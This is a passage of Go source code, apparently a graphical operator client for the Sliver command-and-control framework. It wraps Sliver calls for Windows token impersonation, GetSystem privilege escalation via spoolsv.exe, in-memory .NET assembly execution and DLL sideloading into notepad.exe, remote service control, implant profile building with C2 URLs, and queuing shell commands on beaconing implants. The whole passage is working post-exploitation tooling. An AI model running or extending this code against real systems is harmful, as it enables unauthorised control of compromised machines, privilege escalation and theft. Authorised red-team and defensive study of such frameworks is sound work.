_ = stream.Send(&sliverpb.TunnelData{TunnelID: tunnelID, Closed: true, Sequence: seq})
_ = stream.CloseSend()
_, _ = client.RPC.CloseTunnel(ctx, &sliverpb.Tunnel{TunnelID: tunnelID, SessionID: sessionID})
}
// ─── Token / Privilege (Windows) ───────────────────────────────────────────────
func (a *App) CurrentTokenOwner(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.CurrentTokenOwner(a.ctx, &sliverpb.CurrentTokenOwnerReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Output, nil
}
// MakeToken creates a new logon session token from credentials (logon type 9 =
// NEW_CREDENTIALS, the sliver default).
func (a *App) MakeToken(sessionID, username, domain, password string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.MakeToken(a.ctx, &sliverpb.MakeTokenReq{
Username: username,
Domain: domain,
Password: password,
LogonType: 9,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) ImpersonateUser(sessionID, username string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Impersonate(a.ctx, &sliverpb.ImpersonateReq{
Username: username,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RevToSelf(sessionID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RevToSelf(a.ctx, &sliverpb.RevToSelfReq{
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// GetSystem migrates into a SYSTEM-owned process by spawning implant shellcode.
// It needs an implant config, which we pull from a saved implant profile.
func (a *App) GetSystem(sessionID, hostingProcess, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
cfg, err := a.profileConfig(profileName)
if err != nil {
return err
}
if hostingProcess == "" {
hostingProcess = "spoolsv.exe"
}
_, err = client.RPC.GetSystem(a.ctx, &clientpb.GetSystemReq{
HostingProcess: hostingProcess,
Config: cfg,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Assembly / Shellcode Execution ─────────────────────────────────────────────
type AssemblyResult struct {
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
// ExecuteAssembly runs a .NET assembly in-memory. Opens a native file picker for
// the assembly bytes.
// readLocalOrDialog reads a local file on the operator machine. If localPath is
// empty it opens a native file-open dialog instead. Lets console commands pass
// an explicit path (execute-assembly <path>) or fall back to a picker.
func (a *App) readLocalOrDialog(localPath, title string) ([]byte, error) {
if localPath == "" {
p, err := a.safeOpenFileDialog(runtime.OpenDialogOptions{Title: title})
if err != nil || p == "" {
return nil, fmt.Errorf("selection cancelled")
}
localPath = p
}
data, err := os.ReadFile(localPath)
if err != nil {
return nil, fmt.Errorf("read local file: %w", err)
}
return data, nil
}
func (a *App) ExecuteAssembly(sessionID, localPath, args string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select .NET assembly (.exe)")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
resp, err := client.RPC.ExecuteAssembly(a.ctx, &sliverpb.ExecuteAssemblyReq{
Assembly: data,
Arguments: strings.Fields(args),
Process: "notepad.exe",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: string(resp.Output)}
}
// Sideload loads and runs a shared library / DLL in a sacrificial process.
func (a *App) Sideload(sessionID, localPath, args, entryPoint string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select DLL / shared library to sideload")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
resp, err := client.RPC.Sideload(a.ctx, &sliverpb.SideloadReq{
Data: data,
Args: strings.Fields(args),
EntryPoint: entryPoint,
ProcessName: "notepad.exe",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: resp.Result}
}
// ─── Service Management (Windows) ───────────────────────────────────────────────
type ServiceView struct {
Name string `json:"name"`
DisplayName string `json:"displayName"`
Status string `json:"status"`
StartupType string `json:"startupType"`
BinPath string `json:"binPath"`
Account string `json:"account"`
Description string `json:"description"`
}
// serviceStatusLabel maps a Windows SERVICE_STATUS code to a readable label.
func serviceStatusLabel(code uint32) string {
switch code {
case 1:
return "Stopped"
case 2:
return "StartPending"
case 3:
return "StopPending"
case 4:
return "Running"
case 5:
return "ContinuePending"
case 6:
return "PausePending"
case 7:
return "Paused"
default:
return fmt.Sprintf("Unknown(%d)", code)
}
}
// serviceStartupLabel maps a Windows service start-type code to a label.
func serviceStartupLabel(code uint32) string {
switch code {
case 0:
return "Boot"
case 1:
return "System"
case 2:
return "Automatic"
case 3:
return "Manual"
case 4:
return "Disabled"
default:
return ""
}
}
func serviceView(d *sliverpb.ServiceDetails) ServiceView {
if d == nil {
return ServiceView{}
}
return ServiceView{
Name: d.Name,
DisplayName: d.DisplayName,
Description: d.Description,
Status: serviceStatusLabel(d.Status),
StartupType: serviceStartupLabel(d.StartupType),
BinPath: d.BinPath,
Account: d.Account,
}
}
// ListServices enumerates Windows services on the target via the native
// `Services` RPC. hostname may be "" for the local host.
func (a *App) ListServices(sessionID string) ([]ServiceView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Services(a.ctx, &sliverpb.ServicesReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
if resp.Error != "" {
return nil, fmt.Errorf("%s", resp.Error)
}
out := make([]ServiceView, 0, len(resp.Details))
for _, d := range resp.Details {
out = append(out, serviceView(d))
}
return out, nil
}
// parseCSVLine parses a single simple RFC-4180-ish CSV row (double-quoted fields).
func parseCSVLine(line string) []string {
var fields []string
var sb strings.Builder
inQuotes := false
for i := 0; i < len(line); i++ {
c := line[i]
switch {
case c == '"':
if inQuotes && i+1 < len(line) && line[i+1] == '"' {
sb.WriteByte('"')
i++
} else {
inQuotes = !inQuotes
}
case c == ',' && !inQuotes:
fields = append(fields, sb.String())
sb.Reset()
default:
sb.WriteByte(c)
}
}
fields = append(fields, sb.String())
return fields
}
func (a *App) StartService(sessionID, hostname, serviceName, binPath string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartService(a.ctx, &sliverpb.StartServiceReq{
ServiceName: serviceName,
BinPath: binPath,
Hostname: hostname,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) StopService(sessionID, hostname, serviceName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StopService(a.ctx, &sliverpb.StopServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{ServiceName: serviceName, Hostname: hostname},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RemoveService(sessionID, hostname, serviceName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RemoveService(a.ctx, &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{ServiceName: serviceName, Hostname: hostname},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Implant Profiles ───────────────────────────────────────────────────────────
type ProfileView struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
C2URL string `json:"c2Url"`
Debug bool `json:"debug"`
Beacon bool `json:"beacon"`
Interval int64 `json:"interval"`
Jitter int64 `json:"jitter"`
}
func (a *App) ListImplantProfiles() ([]ProfileView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]ProfileView, 0, len(resp.Profiles))
for _, p := range resp.Profiles {
v := ProfileView{Name: p.Name}
if p.Config != nil {
v.GOOS = p.Config.GOOS
v.GOARCH = p.Config.GOARCH
v.Format = p.Config.Format.String()
v.Debug = p.Config.Debug
v.Beacon = p.Config.IsBeacon
v.Interval = p.Config.BeaconInterval / int64(time.Second)
v.Jitter = p.Config.BeaconJitter / int64(time.Second)
if len(p.Config.C2) > 0 {
v.C2URL = p.Config.C2[0].URL
}
}
out = append(out, v)
}
return out, nil
}
// SaveImplantProfile persists a new implant profile (reuses the Generate form's
// request shape).
func (a *App) SaveImplantProfile(req GenerateRequest) error {
client, err := a.requireClient()
if err != nil {
return err
}
if strings.TrimSpace(req.Name) == "" {
return fmt.Errorf("profile name is required")
}
if strings.TrimSpace(req.C2URL) == "" {
return fmt.Errorf("a C2 URL is required")
}
cfg := a.buildImplantConfig(req)
_, err = client.RPC.SaveImplantProfile(a.ctx, &clientpb.ImplantProfile{
Name: req.Name,
Config: cfg,
})
return err
}
// buildImplantConfig turns a GenerateRequest into a complete ImplantConfig with
// the correct output format, transport Include* flags derived from the C2 URL
// scheme, a valid HTTP C2 profile name, and beacon settings. Shared by
// GenerateImplant and SaveImplantProfile so profiles and builds stay consistent.
func (a *App) buildImplantConfig(req GenerateRequest) *clientpb.ImplantConfig {
cfg := &clientpb.ImplantConfig{
GOOS: req.GOOS,
GOARCH: req.GOARCH,
Debug: req.Debug,
Format: formatFromString(req.Format),
C2: []*clientpb.ImplantC2{{URL: req.C2URL, Priority: 1}},
ObfuscateSymbols: false,
// MTLS is always compiled in as a baseline transport. The generated
// implant's transports/session.go imports net/url, sync and sliverpb which
// only the MTLS/HTTP transports use; an implant that ends up with none of
// those (e.g. a TCP/named-pipe pivot, or any config where the scheme flag
// doesn't survive to the teamserver) fails to compile with "exit status 1"
// on those unused imports. Keeping MTLS on guarantees a buildable implant;
// the C2 list drives what is actually dialed, so nothing extra connects.
IncludeMTLS: true,
}
if req.Beacon {
cfg.IsBeacon = true
interval := req.Interval
if interval <= 0 {
interval = 60
}
cfg.BeaconInterval = interval * int64(time.Second)
cfg.BeaconJitter = req.Jitter * int64(time.Second)
}
if hc2, _ := a.firstHTTPC2ProfileName(); hc2 != "" {
cfg.HTTPC2ConfigName = hc2
} else {
cfg.HTTPC2ConfigName = "default"
}
switch strings.ToLower(schemeOf(req.C2URL)) {
case "http", "https":
cfg.IncludeHTTP = true
case "dns":
cfg.IncludeDNS = true
case "wg", "wireguard":
cfg.IncludeWG = true
case "tcp", "tcp-pivot", "tcppivot":
// TCP pivot implants (Sliver scheme "tcp-pivot://") ride the TCP transport.
// Also compile in MTLS: a pivot-ONLY implant leaves the generated
// transports/session.go with unused imports (net/url, sync, sliverpb) and
// fails to build with "exit status 1". Including the MTLS transport keeps
// those imports used; the C2 list still holds only the pivot URL, so
// nothing else is ever dialed.
cfg.IncludeTCP = true
cfg.IncludeMTLS = true
case "namedpipe", "named-pipe":
cfg.IncludeNamePipe = true
cfg.IncludeMTLS = true
default:
cfg.IncludeMTLS = true
}
if req.GOOS != "windows" && cfg.Format == clientpb.OutputFormat_SERVICE {
cfg.Format = clientpb.OutputFormat_EXECUTABLE
}
return cfg
}
func (a *App) DeleteImplantProfile(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.DeleteImplantProfile(a.ctx, &clientpb.DeleteReq{Name: name})
return err
}
// ─── Beacon Task Execution ───────────────────────────────────────────────────
//
// Beacons use a task-queue model: commands are enqueued and the implant picks
// them up on its next check-in. Results come back asynchronously. We poll for
// task completion with a timeout.
type BeaconTaskResult struct {
TaskID string `json:"taskId"`
Status string `json:"status"` // "pending", "completed", "error"
Stdout string `json:"stdout"`
Stderr string `json:"stderr"`
Error string `json:"error,omitempty"`
}
// ExecuteBeaconCommand queues a shell command on a beacon and polls for the result.
func (a *App) ExecuteBeaconCommand(beaconID, command string) BeaconTaskResult {
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
// Determine OS for shell path selection.
beacons, _ := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
var beaconOS string
if beacons != nil {
for _, b := range beacons.Beacons {
if b.ID == beaconID {
beaconOS = strings.ToLower(b.OS)
break
}
}
}
var exePath string
var args []string
if strings.Contains(beaconOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
// For beacon mode, the Execute RPC returns immediately with a task ID in
// resp.Response. We need to poll for the task result.
if resp.Response != nil && resp.Response.TaskID != "" {
taskID := resp.Response.TaskID
return a.pollBeaconTask(beaconID, taskID)
}
// If the response came back directly (shouldn't happen for beacons, but handle it)
return BeaconTaskResult{
Status: "completed",
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
}
}
// pollBeaconTask waits for a beacon task to complete, polling every 2 seconds up to 5 minutes.
func (a *App) pollBeaconTask(beaconID, taskID string) BeaconTaskResult {
if taskID == "" {
return BeaconTaskResult{Status: "pending", TaskID: "", Error: "task queued — will execute on next beacon check-in"}
}
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{TaskID: taskID, Status: "pending", Error: "disconnected while waiting"}
}
// Poll for up to 5 minutes (beacon intervals can be long)
deadline := time.Now().Add(5 * time.Minute)
for time.Now().Before(deadline) {
tasks, err := client.RPC.GetBeaconTasks(a.ctx, &clientpb.Beacon{ID: beaconID})
if err != nil {
return BeaconTaskResult{TaskID: taskID, Status: "pending", Error: fmt.Sprintf("poll error: %v — task still queued", err)}
}
for _, t := range tasks.Tasks {
if t.ID == taskID {
if t.State == "completed" {
// Try to unmarshal the response as an Execute response
stdout, stderr := parseExecuteResponse(t.Response)
return BeaconTaskResult{
TaskID: taskID,
Status: "completed",
Stdout: stdout,
Stderr: stderr,
}
}
if t.State == "failed" || t.State == "canceled" {
return BeaconTaskResult{
TaskID: taskID,
Status: "error",
Error: fmt.Sprintf("task %s", t.State),
}
}
}
}
time.Sleep(2 * time.Second)
}
return BeaconTaskResult{
TaskID: taskID,
Status: "pending",
Error: "task still pending — beacon has not checked in yet. It will execute on the next check-in.",
}
}
// parseExecuteResponse tries to extract stdout/stderr from a serialized Execute
// protobuf response. Falls back to raw string if parsing fails.
func parseExecuteResponse(data []byte) (stdout, stderr string) {
if len(data) == 0 {
return "(no output)", ""
}
// Try protobuf unmarshal using proto.Unmarshal
var execResp sliverpb.Execute
if err := proto.Unmarshal(data, &execResp); err == nil {
return string(execResp.Stdout), string(execResp.Stderr)
}
// Fallback: return raw bytes as string
return string(data), ""
}
// ExecuteBeaconCommandAsync queues a command on a beacon and polls for the result
// with a configurable timeout. This is the primary method the frontend uses.
// It polls every 2s for up to 5 minutes waiting for the beacon to check in.
func (a *App) ExecuteBeaconCommandAsync(beaconID, command string) BeaconTaskResult {
client, err := a.requireClient()
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
beacons, _ := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
var beaconOS string
if beacons != nil {
for _, b := range beacons.Beacons {
if b.ID == beaconID {
beaconOS = strings.ToLower(b.OS)
break
}
}
}
var exePath string
var args []string
if strings.Contains(beaconOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
if err != nil {
return BeaconTaskResult{Error: err.Error()}
}
taskID := ""
if resp.Response != nil {
taskID = resp.Response.TaskID
}
// Return immediately with the task ID. The frontend polls GetBeaconTasks for
// the result so the console never blocks waiting for a beacon check-in.
if taskID != "" {
return BeaconTaskResult{Status: "pending", TaskID: taskID}
}
// No task ID means the response came back directly (rare for beacons).
if resp.Stdout != nil || resp.Stderr != nil {
return BeaconTaskResult{
Status: "completed",
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
}
}
return BeaconTaskResult{Status: "pending", Error: "command queued - waiting for beacon check-in"}
}
// GetBeaconTaskResults retrieves all task results for a beacon.
type BeaconTaskView struct {
ID string `json:"id"`
State string `json:"state"`
Description string `json:"description"`
CreatedAt string `json:"createdAt"`
CompletedAt string `json:"completedAt"`
Response string `json:"response"`
}
func (a *App) GetBeaconTasks(beaconID string) ([]BeaconTaskView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetBeaconTasks(a.ctx, &clientpb.Beacon{ID: beaconID})
if err != nil {
return nil, err
}
out := make([]BeaconTaskView, 0, len(resp.Tasks))
for _, t := range resp.Tasks {
created := ""
if t.CreatedAt > 0 {
created = time.Unix(t.CreatedAt, 0).Format("15:04:05")
}
completed := ""
if t.CompletedAt > 0 {
completed = time.Unix(t.CompletedAt, 0).Format("15:04:05")
}
// Parse the response bytes into readable text
response := ""
if len(t.Response) > 0 && t.State == "completed" {
stdout, stderr := parseExecuteResponse(t.Response)
response = stdout
if stderr != "" {
response += "\n[stderr] " + stderr
}
} else if len(t.Response) > 0 {
response = string(t.Response)
}
out = append(out, BeaconTaskView{
ID: t.ID,
State: t.State,
Description: t.Description,
CreatedAt: created,
CompletedAt: completed,
Response: response,
})
}
return out, nil
}
// GetBeaconTaskResult fetches a single beacon task's full content. GetBeaconTasks
// only returns task summaries (no Response body) — the actual output requires the
// GetBeaconTaskContent RPC. The frontend poller calls this to display results.
func (a *App) GetBeaconTaskResult(taskID string) (BeaconTaskView, error) {
client, err := a.requireClient()
if err != nil {
return BeaconTaskView{}, err
}
t, err := client.RPC.GetBeaconTaskContent(a.ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return BeaconTaskView{}, err
}
v := BeaconTaskView{ID: t.ID, State: t.State, Description: t.Description}
if t.CreatedAt > 0 {
v.CreatedAt = time.Unix(t.CreatedAt, 0).Format("15:04:05")
}
if t.CompletedAt > 0 {
v.CompletedAt = time.Unix(t.CompletedAt, 0).Format("15:04:05")
}
if len(t.Response) > 0 {
stdout, stderr := parseExecuteResponse(t.Response)
v.Response = stdout
if stderr != "" {
v.Response += "\n[stderr] " + stderr
}
}
return v, nil
}